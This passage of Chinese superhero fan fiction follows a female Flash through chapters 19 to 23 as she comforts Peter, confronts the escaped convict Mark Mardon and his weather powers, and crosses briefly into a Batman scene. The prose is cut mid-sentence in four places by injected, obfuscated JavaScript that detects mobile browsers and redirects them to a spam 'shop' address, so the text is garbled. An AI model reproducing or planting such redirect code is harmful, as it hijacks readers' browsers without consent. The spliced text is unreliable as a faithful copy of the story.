“父亲在妈妈怀孕的时候被迫离开了,他甚至不知道妈妈怀孕的事。而妈妈以为父亲死了。”彼得简短地讲完了一个阴差阳错的狗血故事。 “那万磁王在学校里认出你之后,你是不是可以做校园小霸王了?他在变种人群体里还是相当有威慑力的,足以把你的同学吓得主动把餐后水果送给你。”巴莉开玩笑地说。 “他见过我,但不知道我是他的儿子。”彼得却没有笑,“我拜托查尔斯教授不要告诉他。” 说到最后一句话时,彼得低下了头。 其实他的想象也和巴莉差不多,以为自己只要站在那个人面前,对方就会立刻认出来。哪怕自己什么都不说,对方只要看一眼就会明白。 但现实并非如此。 “为什么?”巴莉不解,“你怪你的父亲吗?可听起来,他不是故意抛下你们的。” “但他也没再回去找妈妈。”彼得咬了咬唇,“如果他知道了我们的父子关系,却觉得这是额外的负担,那感觉会更糟。” 巴莉终于明白了。 他在害怕。害怕被否定,害怕对方在知情后选择抛下他。 “如果他从一开始就不知道,那至少一切都有理由。”彼得飞快地说,“斗争、生存、理想,这些我都能理解。可如果他知道我是谁,却根本不在乎……” 他没有再说下去,但巴莉已经听懂了。 巴莉不知道万磁王在彼得面前到底做了什么,才会让他产生这样的担心。也许万磁王呈现给世人和彼得的,是一个心性坚韧、可以为了达到目的而放弃一切的形象。 “那就把选择权留给未来的你吧。”巴莉说,“现在的你可以在每次看到万磁王的时候想,‘我知道一个你不知道的大秘密,我赢了。’” 彼得吃惊地看着巴莉,眼睛湿漉漉的,似乎没想到她会这么说。巴莉忍不住伸手揉了揉彼得的银色头发。 “那我今晚能留下来吗?”彼得趁机问,还自以为隐蔽地把头往巴莉的掌心里送。 “不好意思,还是不能。”巴莉好气又好笑地把手从他的头发上移开,捏住了彼得的脸。 他因此而微微仰起头,就那么被她捏着,不反抗,也不夸张地喊疼——虽然她确实没用什么力气——看起来极其乖巧。 虽然知道彼得的乖巧有很大一部分是装出来的,但巴莉非常吃这一套。她松开手,保证道:“你按时回去,就可以下次再来找我玩。否则,下次你来的时候,我就用呼啦啦龙卷风把你吹走。” “呼啦啦龙卷风,那是什么?”彼得困惑。 “你不会想知道的。”巴莉故作神秘。 “好吧,那我回学校了。”彼得终于站起身,与椅子含泪分别。 他从衣服口袋里掏出护目镜,随手架在头上,跟着巴莉走出仓库。 巴莉侧头看了一眼,不太明白他为什么对护目镜如此执着。可能主要还是出于造型考虑,那东西的确让皮衣显得更酷了。 而且她还注意到,今天这副护目镜和上次的颜色不一样,而是与衣服十分搭配。 但此时夜色已深,巴莉犹豫了一下,还是问了出来:“晚上戴这个,不会影响视线吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17064582|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “对了,我刚想起来,我有夜盲症。”彼得立刻得到了灵感,语调欢快地说。 “撒谎的孩子也会被呼啦啦龙卷风吹走。”巴莉面无表情地说。 “不能怪我试一下。”彼得完全没有被戳穿的羞愧,还很为自己的机智而自得。他把护目镜拉下来,对巴莉说:“我真的回去了。” “再见。”巴莉举起手机,“否则我要联系汉克教授了。” 彼得终于没有再讨价还价,乖乖地说了句“再见”之后离开了。 巴莉也回了家。进屋前,她习惯性地抬头看了一眼夜空。 然后,她意识到情况不对。 天气预报明明说接下来几天都是晴天,可此刻的夜色却沉得过分,云层低低压着,几乎看不见星星。 巴莉索性坐在门口的台阶上,等待着暴风雨的到来。 很快,雨倾盆而下。巴莉直接冲进了雨幕之中,朝着雨势更凶猛的方向奔去。 她很快找到了一切的源头。 那个男人站在楼顶,处在风眼中央。狂风在他周围绕行,雨水在距离他几步远的地方被生生推开。他像是看不见的屏障保护了,与巴莉形成了鲜明对比。 下一秒,灰白色的迷雾从他的指尖蔓延开来,迅速将他的身影吞没。巴莉立刻失去了清晰的视野。 她没有停下,凭着刚才那一瞬间的记忆冲进雾中。 也许是她判断错了方位,也许那个男人在雾中不断变换路线——这里本就不是适合速度取胜的环境。迷雾拖慢了她的感知,让距离和方向都变得不再可靠。 等到雾气终于散开时,楼顶上只剩下她一个人。 男人已经不见了。 站在逐渐变小的雨中,巴莉感到有点挫败。这是她第一次追丢一个人。 但巴莉很快又振作起来。她已经记住了男人的脸,完全可以画出来。 星期一,巴莉趁着工作间隙,用实验室的人脸合成软件勾勒出了一幅图像。 正在保存图像时,来取文件的埃迪恰好看见了屏幕。他明显愣了一下:“你是在哪里见到这个人的?” “周末偶然看到的。”巴莉准备关掉界面的手顿住了,扭头问道:“你认识他?” “看起来很像我在基斯顿城警局时抓过的一个罪犯。”埃迪说,“马克·马东,因为盗窃被捕的,现在应该还在监狱里才对。” “也许是假释了?”巴莉猜测道。 “也许吧。”埃迪对这件事并不在意。 在美国的司法系统里,犯人提前出狱并不罕见。表现良好、为警方提供线索、替检察官作证,任何一条都可能换来减刑或假释。这是完全合法的常见操作。 “那他为什么会来中心城?”巴莉却对这件事很上心。 “也许是想开始新生活,或者只是过来玩几天。”埃迪说完,注意到巴莉的表情并没有因此放松下来,叹了口气,“我可以打听一下。” “那太好了。”巴莉立刻把埃迪要的文件塞进他手里,“你怎么还站在这里?快去打听呀。” 埃迪无奈地笑着点头:“我这就去。” 20.第 20 章 一小时后,埃迪一脸严肃地回到实验室。 巴莉抬头看了他一眼,先一步开口:“我的表情转移到你的脸上了,这可不太妙。” “马克在上个月越狱了。”埃迪没有卖关子,直接将打听到的消息说了出来。 “……什么?”巴莉很吃惊,想不通马克这么做的理由,“他不是因为盗窃罪入狱的吗?这种刑期根本不值得越狱,而且被抓回去还会加重刑期。” 埃迪点了点头,显然也正被这个问题困扰着:“何况他越狱的时候,刑期只剩下一年了,越狱的风险和收益不成比例。这件事很不对劲。” “基斯顿城的监狱看守也太不严格了。”巴莉小声抱怨了一句。 她忽然想到了另一个问题:星际实验室的爆炸发生时,马克并不在中心城,而是在基斯顿城。也就是说,爆炸影响的范围可能比她预计的还要大,至少紧邻的基斯顿城应该被划入考虑范围内。 这可真是个坏消息。 此时,埃迪露出有点古怪的神情,欲言又止地纠结着。但他还没来得及说话,巴莉忽然换了个话题:“你住在十五街那边,对吧?” “对啊。”埃迪迅速反应过来,“你是在十五街附近见到马克的?你觉得他形迹可疑,是冲我来的?” “虽然这个猜测本身也挺不合理的,毕竟袭警的严重性比越狱还高,但这也是唯一说得通的解释了。”巴莉看着埃迪,依然觉得这件事十分奇怪,“可他为什么这么恨你?” “我不知道。”埃迪露出无奈的表情,“我的办案流程绝对合规,证据也确凿。不过有些人是这样的,从不因为自己的犯罪而反思,反而把责任推到抓他的人身上。” 他说到这里,语气迟疑了一下,巴莉察觉到了,催促道:“你是不是还有别的事没说?” “是伦纳德……他也越狱了。”埃迪说。“我刚收到通知,早上的事。” “啊?看来中心城的监狱看守同样没那么严格。”巴莉明白了埃迪吞吞吐吐的原因,一视同仁地对两个城市的监狱都做出负面评价,“伦纳德把责任推到闪电侠头上了?” “没错,”埃迪苦笑了一下,“他留下一张字条,宣布他将闪电侠视为自己的敌人,并将会打倒闪电侠。” “啊,这已经不是一般的嚣张了。”巴莉有点抓狂。“通缉令!我们应该联系国际刑警,发布全球通缉令!” 对于她的胡言乱语,埃迪明智地假装暂时性失聪,冷静地说:“我已经发布了州内通缉令。不过他大概率不会离开中心城,如果那张字条不是障眼法的话。” 被埃迪的情绪感染,巴莉也冷静了一些,提醒道:“你最近得注意安全。马克应该还不会疯狂到来警局找你,但他似乎已经知道你的住址了。” “我会小心的。”埃迪说。 巴莉不知道自己的提醒究竟能有多大帮助,因为她没有将最关键的信息告诉埃迪——马克已经不只是一个越狱的盗窃犯了,而是不仅能呼风唤雨,还能靠着雾气隐藏踪迹的超能力者。 埃迪会随身配枪,但子弹对马克能起作用吗? 巴莉担忧地看了埃迪一眼,后者却在思考另一个问题,询问道:“虽然我不觉得伦纳德真的能对闪电侠造成什么伤害,甚至也未必能对闪电侠造成困扰,但如果不去提醒闪电侠,是否太不公平了?” “我知道一个关于闪电侠的网站,也许你可以在上面匿名留言,简略地写一下,比如‘你抓到的银行劫匪对你怀恨在心’之类的。”巴莉出主意。 “我知道那个网站。”埃迪拿出手机,巴莉发现他竟然在浏览器里收藏了那个网址。“你觉得闪电侠会看到吗?” “如果有人建了一个与我相关的网站,我每天都会看一遍。”巴莉诚实地说。 “唔,我大概也会那么做。”埃迪赞同道。他迅速地发布了一条帖子。 “我觉得你最近应该多加加班。”巴莉看着埃迪低头打字,忍不住又一次提醒。埃迪在警局比在家更安全,与此同时,她必须尽快找到马克,弄清楚对方到底想做什么。 “乔说了什么吗?”埃迪慌张起来,比发现自己可能有危险还紧张。 “呃……他倒是没说什么。”巴莉故意语焉不详地否认了。 “谢谢你。”埃迪果然误会了,以为巴莉不想转述乔的话,只能隐晦地提醒。“我会加倍努力的。” 埃迪快步离开了。巴莉看着他的背影,怀疑他可能打算日夜驻扎在警局。 为了埃迪不至于过劳晕倒,她得抓紧时间了。 巴莉给迪克发了条信息:“如果你在晚上抓捕的罪犯记恨你,还宣称要报复你,你会怎么做?” 迪克很快回复:“这已经不是一般的嚣张了,必须要出重拳。” 紧接着又是一条:“其实不少人都是这样的,我已经习惯了。反正他们看不惯我又干不掉我。” 然后又是一条:“需要谈谈吗?我晚上有空。” 巴莉还在思考迪克说的“重拳”是不是物理意义上的,随意回复道:“你要请我吃饭吗?” 迪克:“我的钱包已经准备好了。” 巴莉:“但我可能要很晚才能去。” 迪克:“没关系,我总是在通宵。” 巴莉盯着“通宵”两个字,黑色的字母越看越红——那是大蓝鸟因为太累而吐出的血。 下班后,巴莉迫不及待地去寻找她那位强大的外援了。 她把自己遇到那个叫马东的男人的经过从头到尾讲了一遍,语速不自觉地快了些,然后期待地寻求威尔斯博士的分析:“我要怎么才能追上他呢?我想和他谈谈,问问他为什么来中心城。” 威尔斯博士的关注点却落在了时间线上:“他越狱之后,又过了一段时间,中心城才开始出现异常天气。要么他的能力在那段时间里刚刚出现,要么——” “要么他没有第一时间来中心城。”巴莉顺着威尔斯博士的话接了下去。“他可能先去做了别的事情。” “也许没什么,出狱后的人经常会在赌场或酒馆里沉迷一阵。”威尔斯博士摇了摇头,觉得这并不太重要,“至于迷雾,我正好做了一个小装置,想安在你的制服上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17074373|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。它应该能解决这个问题。” “什么装置?”巴莉的眼睛亮了。 “一个传感器,可以捕捉到纳米粒子的微小波动,帮助你判断敌人的位置。它的功能有点复杂,你需要练习才能完全适应。”威尔斯博士在电脑上点开设计图,详细地讲起原理。 她不只是授人以鱼,直接将制作好的小装置交给巴莉,而是授人以渔,让她明白制作方法和理论基础,以便她以后可以维护和改进。 巴莉认真地学习完,又跟着威尔斯博士来到地下一层,一直练习到威尔斯博士满意。 “你做得很好,巴莉。”威尔斯博士坐在轮椅上,露出赞许的微笑。 巴莉感激地说:“没有你,我无法做到这个。” “今天就到这里吧。”威尔斯博士深深地看了巴莉一眼,率先朝电梯移动。 离开实验室后,巴莉先悄悄地去了一趟警局,见埃迪还在埋头加班,这才去了布鲁德海文。 当然,她没忘了联系伊德瑞斯:“你有空吗?我需要知道天气情况。如果忽然下雨,立刻告诉我。” “包在我身上。”伊德瑞斯完全没多问就应下了。“我正在加班,这就挪到窗边的位置。” “谢谢。等我给你带夜宵。”有靠谱的伊德瑞斯在,巴莉十分放心。 布鲁德海文,墨西哥餐车外。 夜翼将餐车挂牌上的食物统统点了一份。店主对这位黑夜义警的到来完全不感到惊讶,两人还随意聊了几句,显然这已经不是夜翼第一次光顾了。 巴莉没有现身,而是在附近一栋高楼的屋顶等着迪克回来,开始宵夜时段的野餐。 “恭喜你,进入了义警的下一个阶段。”迪克用可乐与巴莉干杯,“义警收到的可不总是掌声。” “我意识到这一点了。”巴莉喝了一大口冰可乐,开始吃墨西哥卷,“不过我现在遇到的麻烦对手却是另外一个人。幸好,我找到了场外支援。” “如果需要我帮忙,随时联系。对了,把这个安装在手机上,你就不用担心通讯被窃听了。”迪克拿过巴莉的手机,飞快地帮她安好了。 “哇,像是误入了特工片场。”巴莉感叹。“这是你做的吗?” “来自我的场外支援。”迪克眨了一下左眼。 巴莉忍不住笑了:“好吧,谢谢我的场外支援的场外支援。我还需要你的警察智慧来分析一下。” 在听完威尔斯博士发现的时间出入后,迪克说:“如果是我,我会先查对方的人际关系。也许他的家人遇到了紧急情况,他才会选择越狱。我不觉得报复抓捕他的人有这么急迫,至少不会差这一年刑期。” “如果是为了家人,为什么还要报复警察?为什么不换个地方过日子?”巴莉追问道。 “也许他的家人出了什么事,甚至可能是他造成的。他无法接受,只能迁怒别人以求获得心理上的自洽。”迪克继续分析。 “迪克,你真是个天才。”巴莉竖起大拇指。“我得走了。” “忙着去抓人吗?”迪克理解地点头。“祝你好运。” 21.第 21 章 巴莉买了夜宵,回家时正好碰见乔在门口停车。 乔一边用钥匙开门,一边抱怨道:“埃迪不知道怎么回事,还在加班。他本来就已经很努力了,现在这样,我是真的有点吃不消。” “我还是第一次听到你抱怨别人是工作狂。一般都是反过来的。”巴莉有点心虚地应了一句,跟着乔进了屋。 “我已经到了需要注意血压的年纪了。”乔非常现实地说。 伊德瑞斯正在赶稿,从窗边的沙发上抬起头:“你们今天回来得都挺早——相对你们自己而言。” “我们家对‘下班时间早’的定义,确实有点与众不同。”乔自嘲地说。 “事实上,我还得再出去一趟。”巴莉把打包袋放在伊德瑞斯手边,“天气观测的工作可以停止了。” “好吧。”伊德瑞斯看了巴莉一眼,那一眼停留得比必要的时间稍长,像是想确认些什么。最终他什么也没问,目光又移回到了电脑屏幕上。 乔有点好笑地发现,自己此刻竟然是家里最悠闲的那个。他去冰箱里拿了一瓶啤酒,决定去看电视放松一下。 巴莉拎着另一份夜宵来到了警局。 埃迪还在加班,被忽然出现在眼前的打包袋吓了一跳。他几乎以为自己是因为疲劳而产生幻觉了:“巴莉,你怎么来了?” “来抽查你是否在加班。”巴莉开玩笑地说。“乔已经下班了,你怎么还不走?” “我想把这份文件写完。”埃迪揉了揉眉心,“谢谢你。不过太晚了,你快回家吧。” 巴莉却完全没有要走的意思,拉过一把椅子坐下:“关于马克的事情,我有了一些想法,想尽快和你讨论。” 埃迪的表情认真起来:“我也一直在想这件事。你先说吧。” 巴莉说:“从马克的家人查起,比如他的父母或妻子。也许他们才是马克越狱的真正动机。” “我们想到一块去了。”埃迪点开电脑屏幕上的一个文件,“马克是单身,父母已经去世多年了。不过,他有一个双胞胎兄弟,叫克莱德。这是克莱德的死亡证明。” 巴莉看向那份扫描文件。克莱德·马东,死因是……在家中浴缸溺亡。无明显外伤,也未发现滑倒痕迹。 “死亡日期是马克越狱的第二天。”埃迪补充道,“克莱德是大学的助理教授,当天有课却没出现,学校联系不上人,便报了警。” “这个死法很古怪。”巴莉评论道。 “是的。”埃迪点头,“人很难把自己淹死,本能的求生反应会驱使人在濒临死亡时挣扎起身。更别说那只是个浴缸,又不是后院的游泳池。” “除非尸体被移动过。”巴莉顺着这个思路说下去,“但如果有这种情况,验尸报告里应该会写出来。” “我怀疑克莱德的死和马克有关,但我想不通马克是怎么做到的。”埃迪困扰地向后靠在椅背上,下意识地朝窗外瞥了一眼。“好像又下雨了,你快回家吧。” “好。”巴莉顺着埃迪的目光看向窗外,立刻站起身,“我先走了。” “等等,你带伞了吗?”埃迪打开抽屉,取出一把折叠伞。可等他再抬起头时,巴莉已经不见了。 他愣了一下,把伞放回抽屉。 炒饭的香气隔着纸袋不断地散发出来。埃迪忍不住微笑着打开袋子,给自己十分钟的休息时间。 蝙蝠侠蹲在一只滴水兽上,俯瞰着他的城市。 黑色的披风在他身后被风吹动,他的身体却如一尊雕像般稳固。 十几年过去了,哥谭似乎变了一些,又似乎什么都没变。街道依旧因为常年的连绵细雨而潮湿,灯光依旧昏黄,黑暗在熟悉的角落里悄无声息地生长。 他站起身,正准备射出抓钩枪,一个身着红色制服的人忽然从虚空中闯了出来,直直地朝他飞奔而来。 但无论那人如何奔跑,他们之间始终存在一段距离,像是被看不见的薄膜分割开来。 来人的身侧光芒翻涌,像撕裂空间留下的残影,又像雷暴中被定格的电光,将身后的景像完全遮蔽。 尽管来人戴着面具,蝙蝠侠仍能从露出的下半张脸判断出对方年纪不大,却憔悴得过分,像是被时间反复碾压过。 “B,你必须阻止——”那人猛地停住,棕色的眼睛盯着蝙蝠侠,语调骤变,“糟糕,我跑错世界了!” 来人像是在瞬间的权衡后做出了决定:“来都来了,告诉你大概也没坏处吧。” 蝙蝠侠盯着来人的脸,静静等待。 来人的声音模糊,带着失真感:“记住,必须保护露易丝!” “什么?”蝙蝠侠因为越来越强烈的光芒而不得不微微眯起眼睛,“哪个露易丝?” “……你对他的警惕是对的,天啊,B,你总是对的。”来人却自顾自地说了一句别的。 就在蝙蝠侠试图追问更多时,光芒骤然消失。蝙蝠侠的眼前再次露出哥谭的夜景。 那道身影仿佛从未出现过。 “我似乎听到了你在和什么人对话,但另一方的内容我完全听不清,只有杂音。”便士一,即阿尔弗雷德的声音在通讯频道中响起。 “你听见了杂音,至少证明刚才不是我的幻觉。”蝙蝠侠环顾四周,没有发现任何投影装置,“我可能遇见了一个来自其它世界的人。” “平行世界?”阿尔弗雷德问。 蝙蝠侠将来人说过的话逐字复述了一遍,然后有点恼火地抱怨:“只有名字,没有姓氏,年龄未知。全美国大概有几千个叫露易丝的女性,如果把范围扩大到全球,那就更多了。” 阿尔弗雷德问:“还有别的线索吗?” 蝙蝠侠说:“不到三十岁的白人男性,说话没什么明显口音。红色制服,胸前有一个黄色的闪电标志,符合这些条件的,我能想到的只有一个。” “的确很像中心城人对闪电侠的描述。”阿尔弗雷德说。 “还有一点,他似乎和我很熟悉。”蝙蝠侠最后补充了一句。“也许在那个世界里,我们是战友。” “一个不是独自作战的蝙蝠侠吗?那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082861|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的便士一想必看起来会比我年轻一些,因为他没有我这么多烦心事。” 仗着对方看不见,蝙蝠侠忍不住翻了个白眼。 “你现在一定在做那个既不符合年龄、也不符合家庭教育的表情。”阿尔弗雷德语气笃定地说。 “……我听到了枪声。”蝙蝠侠迅速地换了话题。 巴莉正在雨中奔跑。 有了今天刚获得的新装备,这一次她有信心拦下马克。 在警局的几个街区外,巴莉找到了天气异常的源头。她有一种感觉,马克对于天气的控制越来越熟练了。 马克意识到自己被发现了,再一次试图逃离。 这一次他没能成功。 巴莉不但能找到他的位置,还总能及时地出现在马克的前方,像是预判了他的预判。她的动作极快,织成一张无形的网,切断了马克所有可能的去路。 “马克·马东。”巴莉清晰地叫出对方的名字,“我知道你是谁。” 马克的表情僵了一瞬,随即绷紧了下颌,不肯在气势上落入下风:“我也知道你是谁,闪电侠。” “那我们就直说吧。”巴莉没有兜圈子,“你来中心城是想做什么?” “与你有什么关系?”马克反问。 “与中心城的每一个人都有关系。”巴莉说得很直接,“你对这个新能力的掌握还不够熟练。在城市里使用它不合适,也给很多人的生活添了麻烦。” “我不是故意的,但情绪激动的时候就会这样。”马克下意识地辩解道,语气里甚至带着一点委屈,“我还没完全学会控制,所以才尽量选择在晚上出现。” “好吧,但在你学会控制之前,晚上最好也别出现在城市里。”巴莉说。 马克觉得巴莉的这个建议真是糟透了,决定不予理睬,自顾自地说:“我为什么来中心城?你既然已经知道我是谁了,难道还想不出原因吗?” “能想出原因,但想不出一个合理的。”巴莉说,“所以我还是想问问你。” 马克的脸色瞬间阴沉下来:“我想让埃迪·斯旺体会一下我的痛苦。” “你是想让他坐牢?”巴莉愣了一下,“那恐怕不太现实。” “坐牢?”马克像是被这个词刺了一下,声音陡然拔高,“不。我要让他体验一下失去重要的人的滋味。” “你失去了重要的人?但这和斯旺警官有什么关联?” 马克沉默了几秒,像是在努力把混乱的记忆拼接起来:“我在监狱里的时候,接到我弟弟的电话。他说自己身体出了奇怪的问题,情绪十分崩溃。我听得出来,他很害怕。他一直是个胆小鬼。” 他的声音低下去:“我很担心,所以我越狱去找他。但当我终于见到他之后,他却指责我不应该越狱,说我只会把事情弄得更糟。” “这话……也不算完全没有道理。”巴莉忍不住插了一句。 “我知道!”马克几乎是吼出来的,“可我已经出来了!我只是想帮他!” 雨势开始变得不稳定。 22.第 22 章 “然后呢?发生了什么?”巴莉问。 “就像之前的每一次见面,我们吵了起来。”马克的视线投向远方,“然后我发现,当克莱德的情绪激动的时候,天气也会随之变化;当他的情绪彻底失控时,不只是外面的天气,房间里的情况也失控了。” 马克停住了。一切发生得太快、太突然,即使已经过去了一段时间,当他回忆的时候,依然像是陷在一场醒不过来的噩梦里。 他艰难地继续讲下去:“水到处都是。墙壁在渗水,空气变得粘稠,整间屋子像是被拖进了水底。那些水都涌向他……然后,他淹死了。” 巴莉静静地听着。她看得出来,马克的情绪已经处于崩溃边缘,迫不及待地想要倾诉。 “我慌极了,”马克再次开口,“我不知道该怎么办,只能把克莱德的尸体放进浴缸里。警察不会相信我说的,如果不是亲身经历,我自己也不会相信这种事。” 他急促地补了一句:“我发誓,我没有杀他。他是我唯一的亲人了。” 巴莉不知道是否该相信马克讲述的版本。在缺少证据的情况下,她只能按照疑罪从无处理。她轻声问:“那你的能力是怎么回事?” 马克苦笑了一下:“不知道为什么,在克莱德死后,我就获得了类似的能力。但我竟然能控制它,虽然还不是很熟练。” 他自嘲地笑了起来:“明明克莱德才是家里更聪明的那个人,我从来没有在任何事情上赢过他。他总是做得比我好。” “我很遗憾你经历了这些。”巴莉诚恳地说,“但你把这一切归咎于斯旺警官,这是说不通的。我不会袖手旁观。” “说不通?”马克咆哮道,“如果不是斯旺把我送进监狱,我就不需要越狱!如果我没有越狱,我就不会和克莱德吵架!如果我们没有吵架,克莱德就不会死!” 他的逻辑链条虽然荒谬,却惊人的完整。巴莉简直要被气笑了。 马克还振振有词地反问:“现在你还能说,这一切和斯旺没有关系吗?” 巴莉冷静地说:“这一切的起因是你的盗窃行为。就算不是斯旺警官,也会有别的警官逮捕你。我理解克莱德的事情对你来说难以接受,你下意识地想把责任推到别人身上,但这样做只会错上加错。” 她向前走了一小步,提议道:“你需要帮助。我可以和你一起研究,看看怎么控制你的能力……” “少来这一套。”马克冷笑着打断她,“我不需要被拯救。至于如何控制能力,我自己就能掌握。” 他的思路忽然又转了一个方向,烦闷地说:“我蹲守了斯旺几天。他没有恋人,也没有朋友,活得像个孤家寡人,真不知道他这样活着有什么意思。” 巴莉警觉起来——马克不会最后决定对乔下手吧? 但显然,她和马克奇特的脑电波没有对接成功。马克的结论是:“如果我杀了你,斯旺警官一定会因为连累了你而后悔一辈子吧?你在中心城的粉丝们也会憎恨他、唾弃他。” 巴莉瞪大了眼睛:“你是不是逻辑课从来没及格过?不对,我应该问,你上过学吗?” 马克完全不觉得自己有问题,反而露出一个自得的笑容,大声宣布:“闪电侠,从今天开始,我就是你最强大的敌人了。” 算了。累了。就这样吧。 巴莉这样想。 马克把闪电侠当成敌人,那埃迪就安全了。这也算达到了此行的目的……吧。 只是,马克实在是厚颜无耻,竟然自称是闪电侠“最强大”的敌人。闪电侠目前难道还有别的超能力者作为敌人吗?确切地说,在马克之前,唯一公开表示要和闪电侠做对的是伦纳德,一个普通人。 看看那些和其他超级英雄纠缠不清的反派,再看看她的,巴莉忍不住觉得有点丢脸。 虽然她不希望中心城真的出现什么坏蛋,但她也是有点虚荣心的。 算了。就这样吧。 可能是闪电侠的嫌弃情绪太明显了,马克不满地说:“再怎么说,我也是有超能力的,能给我一些起码的尊重吗?” 巴莉感到啼笑皆非,不知道为什么现场的氛围更像是自己在单方面迫害马克,而马克正以一种弱小可怜又无助的姿态控斥闪电侠目中无人。 “如果你在中心城捣乱的话,我会亲自去抓你,这样够尊重了吗?”巴莉保证道。“不过拜托你,先找个没人的地方练习能力吧。最近的雨已经多到大家快受不了了。” 她灵机一动,补上一句:“我觉得你可以去哥谭,反正那里也总下雨。” “喂,你是想害死我吗?”马克大惊失色。“哥谭的坏人太可怕了!我才不想去那么危险的城市。” 巴莉又一次感到了那种丢脸的情绪,但她也不得不承认,马克说得有点道理。 毕竟在新闻里,哥谭那群类人罪犯的所作所为向来疯狂,常常让其它城市的犯罪分子看了自愧不如,甚至怀疑自己是不是不配和哥谭罪犯混在同一个“行业”里。 “你还有事吗?我要回家了。这么晚了,我很困。”见巴莉沉默,马克有些不耐烦了。 难道我就不困吗?巴莉差点脱口而出。 她只是迟迟没想好该怎么做。 她很想在马克身上安个追踪器,方便随时查看他的方位。可惜她没有那种东西,就算有,也没有合理的理由去用。 马克也许误杀了克莱德,也许只是个被卷进事件里的旁观者;他之前想报复埃迪,如今又把矛头指向闪电侠,但这些威胁始终停留在口头层面,没有任何实质性的行动。 严格意义上说,马克目前唯一能被指控的罪名是越狱。 可问题在于,巴莉不知道把他抓起来之后该怎么办。送到警局的话,普通监狱根本关不住他,只会让狱警和其他犯人陷入危险,甚至把整座监狱拖进一场灾难。 除非——专门建一座用来关押超能力罪犯的监狱。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086471|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 巴莉把这个想法暂时压在心底,严肃地警告道:“这次我不抓你。但别做坏事。我会盯着你的。” 马克嗤笑了一声,显然没把这句话当回事:“走着瞧吧。” 他飞快地离开了,这一次,巴莉没有阻拦。 第二天,巴莉和乔一起去上班。 她窝在副驾驶座位上,连着打了几个哈欠,车子开出了好一段路后才记起要说的事:“你打算什么时候告诉埃迪,你已经接受他作为你的搭档了啊?” “我什么时候说过我已经接受了?”乔反问。 “你的态度就是这样啊,而我善于观察。”巴莉趁机自夸一句。“我想他的疯狂加班多半是源于没有安全感。在获得你的正式认可之前,他的行动只会越来越夸张的。” “我觉得你的说法才是最夸张的。”乔瞥了巴莉一眼,“但也有几分道理。” “所以你今天会和他聊聊吗?”巴莉催促道。既然马克已经不打算再盯着埃迪,埃迪也没必要继续把所有时间都耗在警局里。 “我会考虑一下。”乔没有给出明确承诺。 “哼。”巴莉转过头看向窗外,对这个回答不太满意,觉得自己被敷衍了。 “怎么?埃迪请你来做说客?”乔被她故意摆出的姿态逗笑了。 “那倒没有。但你可以把我的功劳告诉他,他肯定会对我感激不尽,主动请我吃饭。”巴莉开玩笑地说。“他做饭挺好吃的。” “你们俩已经这么熟了吗?”乔语气随意地问,像是真的只是随口一说。 “他人挺热心的。”巴莉没察觉到乔语气中的探究意味。“对了,威尔斯博士说可能会给我提供一个兼职。” 这是她和威尔斯博士商量好的说法,用来解释她越来越频繁出入星辰实验室的原因。 “威尔斯博士是个不错的人。”乔对那位女士心存感激,因为她治好了巴莉,而且在之后一直对巴莉照顾有加。 “她非常、非常好。”巴莉赞同道。“我没见过比她更温和、更有耐心的人了。我很喜欢她。” “你经常往那里跑,每次回来都很开心。”乔感慨道,又补了一句,“其实你现在去读个博士也不算晚。科研工作很适合你。” “我觉得现在的生活挺好的。”巴莉赶紧堵住乔的话头。“每一天都很充实、很开心。如果爸爸能回家,我就没有其它任何想要的了。” “亨利会回来的。”乔说,“你也完全可以想要更多。你的人生还长着呢。” 巴莉心中一酸。 如果真的可以想要更多,她希望妈妈还活着,希望那天晚上什么都没有发生,希望她能在爸爸妈妈的陪伴下长大。 她也许会一直住在家里,也许会租一间公寓独自生活,再在每个周末回家吃饭。 但那是不可能的。 巴莉眨了眨眼,把那些不合时宜的幻想统统甩开,像是合上了一扇不该再被打开的门。 23.第 23 章 正如巴莉所料,埃迪把乔态度的忽然转变视为她的功劳,格外积极地做饭请她吃。 